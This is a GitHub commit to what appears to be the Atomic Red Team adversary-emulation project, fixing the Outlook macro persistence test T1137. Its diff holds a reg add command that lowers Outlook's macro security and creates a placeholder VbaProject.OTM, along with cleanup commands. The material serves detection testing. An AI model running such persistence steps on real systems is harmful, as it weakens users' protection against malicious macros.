Skip to content

Commit bf100b8

Browse files
T1137 Office Application Startup fix (#3202)
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
1 parent f5c4f92 commit bf100b8

File tree

2 files changed

+6
-6
lines changed

2 files changed

+6
-6
lines changed

atomics/T1137/T1137.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ A variety of features have been discovered in Outlook that can be abused to obta
1919
As outlined in MDSEC's Blog post https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/
2020
it is possible to use Outlook Macro as a way to achieve persistance and execute arbitrary commands. This transform Outlook into a C2.
2121
Too achieve this two things must happened on the syste
22-
- The macro security registry value must be set to '4'
22+
- The macro security registry value must be set to '1'
2323
- A file called VbaProject.OTM must be created in the Outlook Folder.
2424

2525
**Supported Platforms:** Windows
@@ -36,14 +36,14 @@ Too achieve this two things must happened on the syste
3636

3737

3838
```cmd
39-
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security\Level" /t REG_DWORD /d 1 /f
39+
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security" /v Level /t REG_DWORD /d 1 /f
4040
mkdir %APPDATA%\Microsoft\Outlook\ >nul 2>&1
4141
echo "Atomic Red Team TEST" > %APPDATA%\Microsoft\Outlook\VbaProject.OTM
4242
```
4343

4444
#### Cleanup Commands:
4545
```cmd
46-
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security\Level" /f >nul 2>&1
46+
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security" /v Level /f >nul 2>&1
4747
del %APPDATA%\Microsoft\Outlook\VbaProject.OTM >nul 2>&1
4848
```
4949

atomics/T1137/T1137.yaml

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -7,16 +7,16 @@ atomic_tests:
77
As outlined in MDSEC's Blog post https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/
88
it is possible to use Outlook Macro as a way to achieve persistance and execute arbitrary commands. This transform Outlook into a C2.
99
Too achieve this two things must happened on the syste
10-
- The macro security registry value must be set to '4'
10+
- The macro security registry value must be set to '1'
1111
- A file called VbaProject.OTM must be created in the Outlook Folder.
1212
supported_platforms:
1313
- windows
1414
executor:
1515
command: |
16-
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security\Level" /t REG_DWORD /d 1 /f
16+
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security" /v Level /t REG_DWORD /d 1 /f
1717
mkdir %APPDATA%\Microsoft\Outlook\ >nul 2>&1
1818
echo "Atomic Red Team TEST" > %APPDATA%\Microsoft\Outlook\VbaProject.OTM
1919
cleanup_command: |
20-
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security\Level" /f >nul 2>&1
20+
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security" /v Level /f >nul 2>&1
2121
del %APPDATA%\Microsoft\Outlook\VbaProject.OTM >nul 2>&1
2222
name: command_prompt

0 commit comments

Comments
 (0)